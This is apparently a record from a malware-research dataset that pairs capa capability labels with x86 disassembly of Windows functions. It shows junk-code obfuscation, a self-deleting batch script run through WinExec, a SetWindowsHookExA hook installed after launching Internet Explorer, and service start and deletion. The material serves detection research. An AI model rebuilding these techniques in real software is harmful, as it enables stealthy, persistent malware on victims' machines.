joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002c40
Capabilities:
Check http status code

Disassembly:
mov ecx, 0x20
inc ecx
cmp ecx, 0x53
jle 0x10002c54
cmp ecx, 0xd3
jge 0x10002c54
inc ecx
add ecx, 0x26
cmp ecx, 0x9e
jl 0x10002c45
inc ecx
cmp ecx, 0x44
jle 0x10002c6e
cmp ecx, 0xe2
jge 0x10002c6e
inc ecx
push edi
mov edi, dword [esp + 8]
mov al, byte [edi]
cmp al, 0x20
jg 0x10002cc2
inc ecx
test al, al
je 0x10002cfb
mov eax, 1
inc eax
cmp eax, 0x35
jle 0x10002c91
cmp eax, 0xef
jge 0x10002c91
inc eax
add eax, 0xe
cmp eax, 0xb8
jl 0x10002c83
inc eax
inc edi
mov ecx, 0x63
inc ecx
cmp ecx, 1
jle 0x10002cb1
cmp ecx, 0xc8
jge 0x10002cb1
inc ecx
add ecx, 0x24
cmp ecx, 0xc7
jl 0x10002ca2
mov al, byte [edi]
cmp al, 0x20
jle 0x10002c79
inc ecx
cmp ecx, 0x4b
jle 0x10002cd1
cmp ecx, 0xe2
jge 0x10002cd1
inc ecx
inc ecx
cmp ecx, 0x13
jl 0x10002cda
add ecx, 2
cmp ecx, 0xac
jle 0x10002ce7
mov ecx, 0x21
movsx eax, byte [edi]
sub eax, 0x2b
push esi
je 0x10002cff
sub eax, 2
jne 0x10002d00
inc edi
or esi, 0xffffffff
jmp 0x10002d05
xor eax, eax
pop edi
ret
inc edi
mov esi, 1
dec ecx
cmp ecx, 0x32
jge 0x10002d0c
inc ecx
xor eax, eax
inc ecx
cmp ecx, 0xf
jl 0x10002d17
add ecx, 2
cmp ecx, 0xb4
jle 0x10002d24
mov ecx, 0x1b
dec ecx
mov ecx, 8
inc ecx
cmp ecx, 9
jle 0x10002d39
cmp ecx, 0xd9
jge 0x10002d39
inc ecx
add ecx, 0x21
cmp ecx, 0x7a
jl 0x10002d2a
movsx edx, byte [edi]
inc edi
mov ecx, 0x30
inc ecx
cmp ecx, 0x39
jle 0x10002d59
cmp ecx, 0xe5
jge 0x10002d59
inc ecx
add ecx, 0x26
cmp ecx, 0x8a
jl 0x10002d4a
dec ecx
cmp edx, 0x30
jl 0x10002dd8
cmp edx, 0x39
jg 0x10002dd8
mov ecx, 0x50
inc ecx
cmp ecx, 8
jle 0x10002d83
cmp ecx, 0xdc
jge 0x10002d83
inc ecx
add ecx, 0x32
cmp ecx, 0x94
jl 0x10002d74
inc ecx
cmp ecx, 0x32
jle 0x10002d9d
cmp ecx, 0xd2
jge 0x10002d9d
inc ecx
sub edx, 0x30
inc ecx
cmp ecx, 7
jl 0x10002da9
add ecx, 2
cmp ecx, 0xf7
jle 0x10002db6
mov ecx, 0x1a
lea eax, [eax + eax*4]
inc ecx
cmp ecx, 2
lea eax, [edx + eax*2]
jl 0x10002dc5
add ecx, 2
cmp ecx, 0xa8
jle 0x10002dd2
mov ecx, 0x1f
inc ecx
jmp 0x10002d25
imul eax, esi
pop esi
pop edi
ret
Function at 0x10002de0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x704
mov eax, 0x4e
inc eax
cmp eax, 0x45
jle 0x10002df9
cmp eax, 0xd7
jge 0x10002df9
inc eax
add eax, 0x15
cmp eax, 0x7d
jl 0x10002deb
push esi
mov esi, 0x24
inc esi
cmp esi, 0x19
jle 0x10002e16
cmp esi, 0xf4
jge 0x10002e16
inc esi
add esi, 0xe
cmp esi, 0x89
jl 0x10002e07
mov al, byte [0x10008724]
push edi
mov byte [esp + 0x10c], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x10d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
dec esi
stosb byte es:[edi], al
cmp esi, 0x4e
pop edi
jge 0x10002e49
inc esi
lea ecx, [esp + 0x108]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 4]
lea eax, [esp + 0x108]
push edx
push 0
push str.tmp_
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
inc esi
cmp esi, 0x50
jle 0x10002e85
cmp esi, 0xe3
jge 0x10002e85
inc esi
test eax, eax
jne 0x10002e91
pop esi
add esp, 0x704
ret
lea ecx, [esp + 4]
push 0x2e
push ecx
inc esi
call fcn.10003460
add esp, 8
test eax, eax
je 0x10002ea9
mov byte [eax + 1], 0
mov esi, 0x33
inc esi
cmp esi, 0x11
jle 0x10002ebd
cmp esi, 0xea
jge 0x10002ebd
inc esi
add esi, 0x22
cmp esi, 0xb1
jl 0x10002eae
lea edx, [esp + 4]
push 0x10008610
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc esi
cmp esi, 7
jl 0x10002ee1
add esi, 2
cmp esi, 0xb2
jle 0x10002eee
mov esi, 0x28
dec esi
cmp esi, 0x57
jge 0x10002ef5
inc esi
lea eax, [esp + 0x208]
push 0xff
push eax
push 0
inc esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x12
inc eax
cmp eax, 0xb
jle 0x10002f1e
cmp eax, 0xea
jge 0x10002f1e
inc eax
add eax, 0x14
cmp eax, 0xbc
jl 0x10002f10
lea ecx, [esp + 4]
lea edx, [esp + 0x208]
push ecx
lea eax, [esp + 0x20c]
push edx
push eax
lea ecx, [esp + 0x314]
push str.:lloopp_r_n_r_n_r_ndel___s_r_n_r_n_r_nif__exist___s_goto_lloopp_r_n_r_n_r_ndel__s_r_n_r_n_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [esp + 0x308]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x30c]
lea ecx, [esp + 8]
push eax
push ecx
call fcn.10003040
add esp, 0xc
mov ecx, 0x37
inc ecx
cmp ecx, 0x4d
jle 0x10002f8b
cmp ecx, 0xe8
jge 0x10002f8b
inc ecx
add ecx, 0xa
cmp ecx, 0xaa
jl 0x10002f7c
test eax, eax
jne 0x10002fa2
pop esi
add esp, 0x704
ret
mov eax, 0x23
inc eax
cmp eax, 0x18
jle 0x10002fb5
cmp eax, 0xee
jge 0x10002fb5
inc eax
add eax, 0x12
cmp eax, 0xae
jl 0x10002fa7
lea edx, [esp + 4]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x1f
pop esi
cmp ecx, eax
sbb eax, eax
neg eax
add esp, 0x704
ret
Function at 0x10003040
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x19
inc eax
cmp eax, 0x64
jle 0x10003053
cmp eax, 0xd7
jge 0x10003053
inc eax
add eax, 0x12
cmp eax, 0x99
jl 0x10003045
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov esi, 0x3d
inc esi
cmp esi, 0x60
jle 0x10003090
cmp esi, 0xe0
jge 0x10003090
inc esi
add esi, 0x22
cmp esi, 0x79
jl 0x10003081
cmp ebx, 0xffffffff
je 0x1000312a
inc esi
cmp esi, 0x41
jle 0x100030b0
cmp esi, 0xd5
jge 0x100030b0
inc esi
dec esi
cmp esi, 0x4f
jge 0x100030b7
inc esi
dec esi
mov dword [esp + 0x10], 0
cmp esi, 0x82
jge 0x100030c9
inc esi
dec esi
cmp esi, 0xc2
jge 0x100030d3
inc esi
mov edi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push 0
push ecx
push edi
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003123
cmp dword [esp + 0x10], edi
jne 0x10003123
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xc
inc eax
cmp eax, 0x5a
jle 0x10003110
cmp eax, 0xf7
jge 0x10003110
inc eax
add eax, 0x13
cmp eax, 0xab
jl 0x10003102
pop edi
pop esi
mov eax, 1
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10003180
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
mov eax, 0x33
inc eax
cmp eax, 0x44
jle 0x10003196
cmp eax, 0xd6
jge 0x10003196
inc eax
add eax, 0x21
cmp eax, 0x75
jl 0x10003188
inc eax
cmp eax, 0xb
jl 0x100031a7
add eax, 2
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, 0x30
pop edi
inc eax
cmp eax, 0x37
jle 0x100031c9
cmp eax, 0xe0
jge 0x100031c9
inc eax
add eax, 0x2b
cmp eax, 0x82
jl 0x100031bb
inc eax
cmp eax, 0x28
jle 0x100031e1
cmp eax, 0xe9
jge 0x100031e1
inc eax
xor ecx, ecx
inc eax
mov dword [esp], ecx
cmp eax, 0x12
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
jle 0x10003201
cmp eax, 0xfa
jge 0x10003201
inc eax
inc eax
lea edx, [esp]
mov ecx, dword [esp + 0x5c]
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x5c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push edx
mov dword [esp + 0x38], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x43
inc ecx
cmp ecx, 0x3b
jle 0x10003244
cmp ecx, 0xe8
jge 0x10003244
inc ecx
add ecx, 0x22
cmp ecx, 0xc3
jl 0x10003235
add esp, 0x54
ret
Function at 0x10003260
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
inc esi
cmp esi, 0xb
jl 0x1000326f
add esi, 2
cmp esi, 0xa9
jle 0x1000327c
mov esi, 0x23
mov eax, dword [esp + 0xc]
push eax
call fcn.100033b0
add esp, 4
dec esi
mov ebx, eax
cmp esi, 0x72
mov dword [esp + 0xc], ebx
jge 0x10003296
inc esi
inc esi
cmp esi, 0x1b
jle 0x100032a5
cmp esi, 0xcd
jge 0x100032a5
inc esi
mov ecx, dword [esp + 0x10]
push ebp
push edi
push ecx
call fcn.100033b0
add esp, 4
inc esi
cmp esi, 7
mov ebp, eax
jl 0x100032bf
add esi, 2
cmp esi, 0x9a
jle 0x100032cc
mov esi, 0x1e
mov edi, dword [sym.imp.USER32.dll_CharLowerA]
push ebx
call edi
push ebp
dec esi
call edi
mov eax, 0x23
inc eax
cmp eax, 5
jle 0x100032ec
cmp eax, 0xee
jge 0x100032ec
inc eax
add eax, 0x11
cmp eax, 0x73
jl 0x100032de
dec eax
cmp eax, 0xbf
jge 0x100032fd
inc eax
inc eax
mov ecx, ebp
cmp byte [ebx], 0
je 0x1000331d
mov esi, ebx
sub esi, ebp
mov al, byte [ecx]
test al, al
je 0x1000331d
mov dl, byte [esi + ecx]
inc ecx
cmp dl, al
jne 0x1000331d
cmp byte [esi + ecx], 0
jne 0x10003309
mov esi, 0x63
inc esi
cmp esi, 0x5f
jle 0x10003331
cmp esi, 0xd0
jge 0x10003331
inc esi
add esi, 0x18
cmp esi, 0xaa
jl 0x10003322
dec esi
cmp esi, 0xf3
jge 0x10003346
inc esi
mov dl, byte [ecx]
xor ebx, ebx
test dl, dl
sete bl
inc esi
cmp esi, 3
jle 0x1000335e
cmp esi, 0xd6
jge 0x1000335e
inc esi
dec esi
cmp esi, 0x96
jge 0x10003368
inc esi
mov eax, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push eax
call edi
dec esi
cmp esi, 0xb7
jge 0x1000337f
inc esi
push ebp
inc esi
call edi
pop edi
mov eax, 0x2b
pop ebp
inc eax
cmp eax, 0x51
jle 0x10003398
cmp eax, 0xd9
jge 0x10003398
inc eax
add eax, 0x1e
cmp eax, 0x88
jl 0x1000338a
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x10003fd0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x108
mov eax, 0x34
inc eax
cmp eax, 0x38
jle 0x10003fe9
cmp eax, 0xd5
jge 0x10003fe9
inc eax
add eax, 0x31
cmp eax, 0x67
jl 0x10003fdb
mov al, byte [0x10008724]
push ebx
push ebp
push esi
push edi
mov byte [esp + 0x18], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov esi, 0x58
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
inc esi
cmp esi, 0x5e
jle 0x10004022
cmp esi, 0xda
jge 0x10004022
inc esi
add esi, 0x12
cmp esi, 0xbe
jl 0x10004013
dec esi
mov dword [esp + 0x10], 0x100
cmp esi, 0xd7
jge 0x1000403f
inc esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
inc esi
cmp esi, 0x43
jle 0x1000405e
cmp esi, 0xd4
jge 0x1000405e
inc esi
mov edi, dword [esp + 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push edi
lea ecx, [esp + 0x20]
push eax
push ecx
call fcn.10004150
add esp, 0x10
dec esi
cmp esi, 0xc2
jge 0x1000408a
inc esi
inc esi
cmp esi, 0x11
jl 0x10004093
add esi, 2
cmp esi, 0xe7
jle 0x100040a0
mov esi, 0x22
mov ecx, dword [esp + 0x11c]
lea edi, [esp + 0x18]
sub edi, ecx
mov ebx, 8
mov dl, byte [edi + ecx]
dec esi
cmp esi, 0xb9
mov byte [esp + 0x14], dl
jge 0x100040c3
inc esi
inc esi
cmp esi, 9
jl 0x100040cc
add esi, 2
cmp esi, 0xa1
jle 0x100040d9
mov esi, 0x26
mov eax, dword [esp + 0x14]
mov ebp, 0x1a
and eax, 0xff
cdq
idiv ebp
add dl, 0x61
mov byte [ecx], dl
inc ecx
dec ebx
jne 0x100040b2
pop edi
pop esi
pop ebp
mov eax, 0x17
pop ebx
inc eax
cmp eax, 0x2f
jle 0x1000410a
cmp eax, 0xfa
jge 0x1000410a
inc eax
add eax, 0x16
cmp eax, 0xb4
jl 0x100040fc
mov ecx, dword [esp + 0x10c]
mov eax, 0x25
mov byte [ecx + 8], 0
inc eax
cmp eax, 0x37
jle 0x10004132
cmp eax, 0xf5
jge 0x10004132
inc eax
add eax, 0x12
cmp eax, 0x87
jl 0x10004124
push str..dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x108
ret
Function at 0x10004c00
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x170
mov eax, 0xa
inc eax
cmp eax, 0x1a
jle 0x10004c19
cmp eax, 0xe1
jge 0x10004c19
inc eax
add eax, 0x1d
cmp eax, 0x6a
jl 0x10004c0b
mov eax, 0x2b
inc eax
cmp eax, 3
jle 0x10004c34
cmp eax, 0xe1
jge 0x10004c34
inc eax
add eax, 0x26
cmp eax, 0x80
jl 0x10004c26
inc eax
push 0xff
lea eax, [esp + 0x74]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE_
push connect
call fcn.10005140
mov edx, eax
add esp, 0x10
mov eax, 0x64
inc eax
cmp eax, 0x49
jle 0x10004c70
cmp eax, 0xe1
jge 0x10004c70
inc eax
add eax, 0x26
cmp eax, 0xb6
jl 0x10004c62
inc eax
cmp eax, 5
jl 0x10004c83
add eax, 2
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, 0x1b
pop edi
inc eax
cmp eax, 0xe
jle 0x10004ca5
cmp eax, 0xd5
jge 0x10004ca5
inc eax
add eax, 0x12
cmp eax, 0xa8
jl 0x10004c97
xor ecx, ecx
inc eax
mov dword [esp], ecx
cmp eax, 0x4a
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
jle 0x10004ccf
cmp eax, 0xe9
jge 0x10004ccf
inc eax
inc eax
cmp eax, 2
jl 0x10004cd8
add eax, 2
cmp eax, 0x9b
jle 0x10004ce4
mov eax, 0x23
dec eax
mov dword [esp + 0x10], 0x44
cmp eax, 0xb9
jge 0x10004cf5
inc eax
inc eax
cmp eax, 5
jl 0x10004cfe
add eax, 2
cmp eax, 0xa1
jle 0x10004d0a
mov eax, 0x22
push esi
mov word [esp + 0x44], 0
inc eax
mov dword [esp + 0x40], 1
mov esi, 0x26
inc esi
cmp esi, 0x40
jle 0x10004d2f
cmp esi, 0xeb
jge 0x10004d2f
inc esi
add esi, 0x14
cmp esi, 0x78
jl 0x10004d20
inc esi
cmp esi, 0x10
jl 0x10004d40
add esi, 2
cmp esi, 0xc6
jle 0x10004d4d
mov esi, 0x24
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10008724
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
inc esi
cmp esi, 0xc
jl 0x10004d78
add esi, 2
cmp esi, 0xd6
jle 0x10004d85
mov esi, 0x18
dec esi
cmp esi, 0x2b
jge 0x10004d8c
inc esi
test eax, eax
jne 0x10004d98
pop esi
add esp, 0x170
ret
dec esi
cmp esi, 0x86
jge 0x10004da2
inc esi
inc esi
mov esi, 0x63
inc esi
cmp esi, 0xa
jle 0x10004db7
cmp esi, 0xd8
jge 0x10004db7
inc esi
add esi, 0x28
cmp esi, 0x9b
jl 0x10004da8
lea edx, [esp + 0x58]
push 0x1c
push edx
push 0x10005120
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
dec esi
cmp esi, 0x38
jge 0x10004ddb
inc esi
mov ecx, dword [esp + 0x5c]
inc esi
neg eax
sbb eax, eax
push 0x1b58
and eax, ecx
mov dword [0x1000872c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x4b
inc eax
cmp eax, 0x28
jle 0x10004e09
cmp eax, 0xf9
jge 0x10004e09
inc eax
add eax, 0xa
cmp eax, 0x77
jl 0x10004dfb
mov eax, dword [esp + 0x10]
mov ecx, dword [0x1000872c]
push eax
push ecx
push 0x10005120
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x10008728], eax
mov esi, 0x2e
inc esi
cmp esi, 0x2e
jle 0x10004e43
cmp esi, 0xf8
jge 0x10004e43
inc esi
add esi, 0x1b
cmp esi, 0x65
jl 0x10004e34
test eax, eax
jne 0x10004e57
pop esi
add esp, 0x170
ret
dec esi
cmp esi, 0x82
jge 0x10004e61
inc esi
push 0
push 0
push 0x301
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageA]
inc esi
mov eax, 1
pop esi
add esp, 0x170
ret
Function at 0x10005140
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [esp - 0x10c]
sub esp, 0x10c
dec eax
cmp eax, 0x3b
jge 0x10005154
inc eax
inc eax
cmp eax, 1
jl 0x1000515d
add eax, 2
mov eax, 0x40
inc eax
cmp eax, 0x5e
jle 0x10005170
cmp eax, 0xe8
jge 0x10005170
inc eax
add eax, 0x22
cmp eax, 0x81
jl 0x10005162
mov eax, 0x5d
inc eax
cmp eax, 0x2d
jle 0x1000518d
cmp eax, 0xe6
jge 0x1000518d
inc eax
add eax, 0x2e
cmp eax, 0x8f
jl 0x1000517f
inc eax
cmp eax, 0xf
jl 0x100051a0
add eax, 2
mov eax, dword [esp + 0x114]
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x18]
push 0x5c
push edx
call fcn.10003460
mov edi, eax
add esp, 8
mov eax, 3
inc eax
cmp eax, 0x35
jle 0x100051da
cmp eax, 0xdf
jge 0x100051da
inc eax
add eax, 0x16
cmp eax, 0x9d
jl 0x100051cc
inc eax
test edi, edi
jne 0x100051f5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10c
ret
mov byte [edi], 0
inc edi
mov esi, 0x19
inc esi
cmp esi, 0x61
jle 0x1000520d
cmp esi, 0xd0
jge 0x1000520d
inc esi
add esi, 0x29
cmp esi, 0x8c
jl 0x100051fe
dec esi
cmp esi, 0xc1
jge 0x10005222
inc esi
mov edx, dword [esp + 0x11c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
dec esi
cmp esi, 0x4e
jge 0x10005241
inc esi
inc esi
test eax, eax
je 0x10005252
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10c
ret
mov dword [esp + 0xc], 1
mov esi, 0x31
inc esi
cmp esi, 0x54
jle 0x1000526e
cmp esi, 0xe3
jge 0x1000526e
inc esi
add esi, 0x21
cmp esi, 0x85
jl 0x1000525f
dec esi
cmp esi, 0x7a
jge 0x10005280
inc esi
mov eax, dword [esp + 0x128]
dec esi
cmp esi, 0xf8
mov dword [esp + 0x14], eax
jge 0x10005295
inc esi
inc esi
cmp esi, 0x12
jl 0x1000529e
add esi, 2
cmp esi, 0x9f
jle 0x100052ab
mov esi, 0x16
mov ebx, dword [esp + 0x124]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
push ebx
push edx
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, eax
inc esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0xa
inc eax
cmp eax, 2
jle 0x100052e7
cmp eax, 0xd0
jge 0x100052e7
inc eax
add eax, 0x1a
cmp eax, 0xc2
jl 0x100052d9
test edi, edi
je 0x10005301
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10c
ret
mov ecx, dword [esp + 0x10]
inc eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x5b
inc eax
cmp eax, 0x24
jle 0x10005320
cmp eax, 0xed
jge 0x10005320
inc eax
add eax, 0xf
cmp eax, 0xad
jl 0x10005312
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10c
ret
Function at 0x403030
Capabilities:
Terminate process

Disassembly:
call fcn.00403613
jmp 0x40303a
push 0x5c
push 0x403818
call fcn.004036c8
xor ebx, ebx
mov dword [ebp - 0x24], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x4043b4
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x40308c
cmp eax, esi
jne 0x40307f
xor esi, esi
inc esi
mov edi, esi
jmp 0x40308f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403063
xor esi, esi
inc esi
cmp dword [0x4043b8], esi
jne 0x4030a1
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4030db
cmp dword [0x4043b8], ebx
jne 0x4030d5
mov dword [0x4043b8], esi
push 0x4011a0
push 0x401194
call fcn.0040320f
pop ecx
pop ecx
test eax, eax
je 0x4030db
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x403209
mov dword [0x404044], esi
cmp dword [0x4043b8], esi
jne 0x4030fe
push 0x401190
push 0x401188
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4043b8], 2
test edi, edi
jne 0x40310b
xor eax, eax
mov ecx, 0x4043b4
xchg dword [ecx], eax
cmp dword [0x4043bc], 0
je 0x403137
push 0x4043bc
call fcn.00403520
pop ecx
test eax, eax
je 0x403137
push ebx
push 2
push ebx
mov esi, dword [0x4043bc]
mov ecx, esi
call dword [0x405130]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp - 0x24]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x403195
test cl, cl
je 0x403164
test edi, edi
jne 0x403195
test cl, cl
je 0x403164
cmp cl, 0x20
ja 0x403164
inc esi
mov dword [ebp - 0x20], esi
mov cl, byte [esi]
jmp 0x403153
test byte [ebp - 0x40], 1
je 0x403170
movzx eax, word [ebp - 0x3c]
jmp 0x403173
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x404040], eax
cmp dword [0x404058], 0
jne 0x4031ee
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x4031a6
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x24], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4031b9
inc esi
mov dword [ebp - 0x20], esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x403144
cmp dword [0x404044], 0
jne 0x403202
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x404040]
mov dword [ebp - 4], 0xfffffffe
call fcn.00403710
ret

Function at 0x403414
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x403838
call fcn.00403754
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x403474
cmp eax, 0xffffffff
je 0x403474
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40346d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40346d
cmp edx, 0x10000000
jae 0x40346d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40346a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00403799
ret 4
Function at 0x4034d0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40350e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x403506
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x403510
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4034f6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4035e0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4035f6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x403611
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x401000
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push edx
push edi
sub dx, dx
cmp edx, ecx
cmp dx, ax
test edx, 0x4d5b
sub di, 0x50f1
mov di, 0x11cb
and di, ax
pop edi
pop edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401040
pop edi
pop esi
pop ebp
ret
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edi, eax
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x401320
Capabilities:
Encode data using xor
Start service

Disassembly:
cmp ebx, edx
push ebp
mov ebp, esp
push esi
push edi
jbe 0x401347
push si
mov si, 0x5c11
pop si
ja 0x401347
jo 0x4012f5
push cs
invalid
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401364
pop edi
pop esi
pop ebp
ret
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4013af
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x420
je 0x4013af
call edi
cmp eax, 0x422
je 0x4013af
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret